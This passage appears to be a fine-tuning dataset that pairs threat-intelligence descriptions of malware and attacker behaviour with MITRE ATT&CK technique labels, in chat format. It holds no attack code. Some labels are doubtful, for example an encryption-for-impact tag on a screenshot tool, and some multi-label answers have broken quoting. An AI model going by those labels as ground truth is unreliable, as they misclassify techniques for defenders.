                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Case in point: Last week, we came across a worm (detected by Trend Micro as Worm.Win32.BLADABINDI.AA) that propagates through removable drives and installs a fileless version of the BLADABINDI backdoor"
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SchTasks.exe performs operations similar to those in Scheduled Tasks in Control Panel. You can use either tool to create, delete, configure, or display scheduled tasks. The user must be a member of the Administrators group on the computer that the command affects. To verify that a scheduled task ran or to find out why a scheduled task did not run, see the Task Scheduler service transaction log, Systemroot\\SchedLgU.txt. This log records attempted runs initiated by all tools that use the service, including Scheduled Tasks and SchTasks.exe. On rare occasions, task files become corrupted. Corrupted tasks do not run. When you try to perform an operation on corrupted tasks, SchTasks.exe displays the following error message: ERROR: The data is invalid. You cannot recover corrupted tasks. To restore the task scheduling features of the system, use SchTasks.exe or Scheduled Tasks to delete the tasks from the system and reschedule them"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacSpy captures keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMess can execute PowerShell scripts received from C2."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This extreme level of variance was also applied to non-executable entities, such as WMI persistence filter name, WMI filter query, passwords used for 7-zip archives, and names of output log files. Camouflage and blending into the environment. ADFIND legit tool) were always renamed and placed in folders that mimicked existing programs and files already present on a machine. This blending was not just used for files, but for other elements. For example, WMI persistence filters were created with names and queries matching other scripts present in affected organizations. The firewall rules were also methodically removed after the network reconnaissance was completed. Lateral movement activities were never executed without preparation. To increase the likelihood that their activities remain undetected, the attackers first enumerated remote processes and services running on the target host and decided to move laterally only after disabling certain security services"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes cmd.exe to provide a reverse shell to adversaries."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used a tool called CLASSFON to covertly proxy network communications."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Version 2 Rather than using the host ID as the key, this version uses a random XOR key between 32 and 64 bytes in length that is generated for each session"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PittyTiger has obtained and used tools such as Mimikatz and gsecdump."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QUADAGENT used the PowerShell filenames \"Office365DCOMCheck.ps1\" and \"SystemDiskClean.ps1\"."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FALLCHILL encrypts C2 data with RC4 encryption."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The execution of the Powershell that is passed to IEX by the Stage 1 Word document is where we begin to observe several interesting activities occurring on an infected system. One is used to determine whether or not to achieve persistence for the next stage of the infection process on the target system. If persistence is selected the other switch defines whether or not the Stage 3 code should be executed once it is staged. If the option to achieve persistence was selected when the 'pre_logic' function was called, the function will then query the infected system to determine how to best achieve persistence. Depending on the access rights of the user account within which the malware is operating, the malware will then query registry paths that are commonly used by malware to achieve persistence. If operating under an account with Administrator access to the system the script will query and set"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors used compromised domain administrator credentials as part of their lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains the IP address from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses PowerShell scripts for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "More_eggs has used an RC4-based encryption method for its C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Most of the initial payloads in these campaigns are signed with valid certificates to evade security tools. They abuse the relative trust that is given to signed binaries to avoid detection"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used the command-line interface for execution."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Specifies the screen coordinates to take   -zip Name of password (from configuration data) protected zip archive   -clipboard Screenshot file name where a bitmap from the clipboard is saved in Cache005 subdirectory, zipped with password from configuration    Data exfiltration Exfiltration is done through the bitsadmin.exe utility"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture', 'T1115 - Clipboard Data', 'T1560 - Archive Collected Data', 'T1132 - Data Encoding', 'T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dumps password hashes for use in pass the hash authentication attacks."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To complete its mission, APT39 typically archives stolen data with compression tools such as WinRAR or 7-Zip"
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pillowmint has used multiple native Windows APIs to execute and conduct process injections."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Waterbear has used RC4 encrypted shellcode and encrypted functions."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P8RAT has the ability to \"sleep\" for a specified time to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dok exfiltrates logs of its execution stored in the \"/tmp\" folder over FTP using the \"curl\" command."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEMP.Veles has renamed files to look like legitimate files, such as Windows update files or Schneider Electric application files."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AADInternals can enumerate information about a variety of cloud services, such as Office 365 and Sharepoint instances or OpenID Configurations."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Catchamas adds a new service named NetAdapter to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is responsible for a vast amount of information stealing, and is able to collect information through hooking, clipboard usage, and monitoring the keystate"
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Blue Mockingbird has masqueraded their XMRIG payload name by naming it wercplsupporte.dll after the legitimate wercplsupport.dll file."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VaporRage can deobfuscate XOR-encoded shellcode prior to execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMess can decode and decrypt data received from C2."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BISCUIT has a command to download a file from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can timestomp any files or payloads placed on a target machine to help them blend in."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor monitors the free disk space on the system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QAKBOT has spread through emails with newly created malicious links."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "writes data into the Registry key HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Pniumj."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another interesting artefact is that the script modifies the modification, access and creation (MAC) times of the local log file to match the times of a legitimate file – desktop.ini in that example, as shown in Figure 13"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk can create .dll files that actually contain a Rich Text File format document."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Brave Prince lists the running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GandCrab 2 is far from a merely repackaged GandCrab 1. It contains fixes for several flaws in the original, including one critical encryption flaw that would have trivially allowed a universal decryptor (more on this below)."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rising Sun can detect network adapter and IP address information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Micropsia takes screenshots every 90 seconds by calling the Gdi32.BitBlt API."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has injected malicious DLLs into memory with read, write, and execute permissions."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 3 Countries in which OopsIE will run in based on the time zone Notable Differences The OopsIE Trojan delivered in this attack had functional code that was very similar to the OopsIE variant discussed in our previous blog"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "five threads are for forwarding collected data to four cloud services (Box, Dropbox, Pcloud and Yandex). When uploading stolen data to a cloud service"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We investigated a long-running espionage campaign, dubbed A41APT, targeting multiple industries, including the Japanese manufacturing industry and its overseas bases, which has been active since March 2019. The attackers used vulnerabilities in an SSL-VPN product to deploy a multi-layered loader we dubbed Ecipekac (aka DESLoader, SigLoader and HEAVYHAND). We attribute this activity to APT10 with high confidence. Most of the discovered payloads deployed by this loader are fileless and have not been seen before. We observed SodaMaster (aka DelfsCake, dfls and DARKTOWN), P8RAT (aka GreetCake and HEAVYPOT), and FYAnti (aka DILLJUICE Stage 2) which in turn loads QuasarRAT. In November and December 2020, two public blog posts were published about this campaign. One month later, we observed new activities from the actor with an updated version of some of their implants designed to evade security products and make analysis harder for researchers. You can read more in our public report."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware', 'T1588.006 - Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHBUGGY mimics filenames from %SYSTEM%\\System32 to hide DLLs in %WINDIR% and/or %TEMP%."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious use of Responder was first publicly documented on August 11, 2017 as being used by APT28, also known as Fancy Bear. The tool was used against hotel visitors to spoof NetBios resources. Victims were coerced into connecting to UDP port 137 and disclosing credentials over SMB to APT28, which the threat actor then used to gain elevated access to the network."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay', 'T1043 - Commonly Used Port', 'T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "However, the program turned out not to be a Gpcode variant. This new version of Bancos.aam turned out to be the first Trojan spy program designed to steal data from users of the Russian QUIK system. "
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects system information from the victim, including CPU speed, computer name, volume serial number, ANSI code page, OEM code page identifier for the OS, Microsoft Windows version, and memory information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak enables concurrent Remote Desktop Protocol (RDP) sessions."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Keylogging Functionality XAgent also has a keylogger functionality that allows the threat actors to steal credentials as the user types them"
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRat communicated over HTTP and HTTPS with C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) If the malware was executed with the \"install\" command-line argument, which uses .NET Framwork’s InstallHelper method to install the malware as a service. 3) If no arguments are provided and the malware determines it is running in a Windows environment, it saves a DLL to the system that it injects into the explorer.exe process. The injected DLL executable loads the malware’s executable and runs it within memory of the explorer.exe process"
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Charming Kitten has taken full advantage of this timing to execute its new campaign to maximum effect. Details Of The Attacks . Our examination of the acquired samples shows hackers generally use two main methods of “Sending Fake SMS” and “Sending Fake Emails” to execute their attacks. They send confirmation messages stating ‘Google Account Recovery’ to their targets; they claim these messages are sent by Google and the user must follow the link in the SMS to confirm the identity. Method #2: Fake Email . Another method used in this phishing campaign is sending fake emails with deceptive titles like “Merry Christmas, and sending note/book/photo and others”, which are usually sent by previously hacked emails. Figure 2 shows one of these phishing emails where the attackers cordially invite the target to open the link in the email’s body. For example, Figure 3 shows another fake email that was sent to the same victim a day after the initial email (Figure 2). Figure 3. A sample of fake email after sending the initial email to the target . Redirect Chain . Utilizing and weaponizing legal and credible services to hide destructive intent is one of the techniques used by hackers in some phishing campaigns. Redirection links initially help bypass the security layers in email services, and then provide the attackers more control to redirect the target to the final URL. As usual, we firmly suggest not to click on unknown links, to carefully review any URLs before entering credential information, and not to download and run unknown files on mobile, personal or work computers. It is important to note that the main cases mentioned in this report relate to the latest Charming Kitten’s phishing campaign and that this campaign has significantly intensified in recent days"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HALFBAKED can obtain screenshots from the victim."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has used C:\\Windows\\Debug and C:\\Perflogs as staging directories."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FrameworkPOS can enumerate and exclude selected processes on a compromised host to speed execution of memory scraping."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar has been spread via emails with embedded malicious links."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) The infection chain used in this attack begins with a weaponized link to a Google Drive folder, obfuscated using the goo.gl link shortening service. 2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs. 4) The .lnk file uses an embedded VBScript component to retrieve a decoy PDF file and a PowerShell script from the adversary-controlled web page. 5) The PowerShell script creates a Cobalt Strike stager payload. This PowerShell script also retrieves an XOR-encoded Cobalt Strike beacon payload from an adversary-controlled domain. 6) The Cobalt Strike Beacon implant beacons to the command-and-control (C2) IP address, which is used to remotely control the implant"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This script is executed and is used to decode a static base64 string within the strEncode variable. Using base64 encoding the decoded binary is stored as HncModuleUpdate.exe and is then executed. This specific resource contains malicious shellcode used by the malware. These execution steps allow the launch of the new ROKRAT variant by decoding the PE binary and injecting into the cmd.exe process"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BONDUPDATER can use DNS and TXT records within its DNS tunneling protocol for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit's \"Get-Keystrokes\" Exfiltration module can log keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware has used Registry Run keys to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
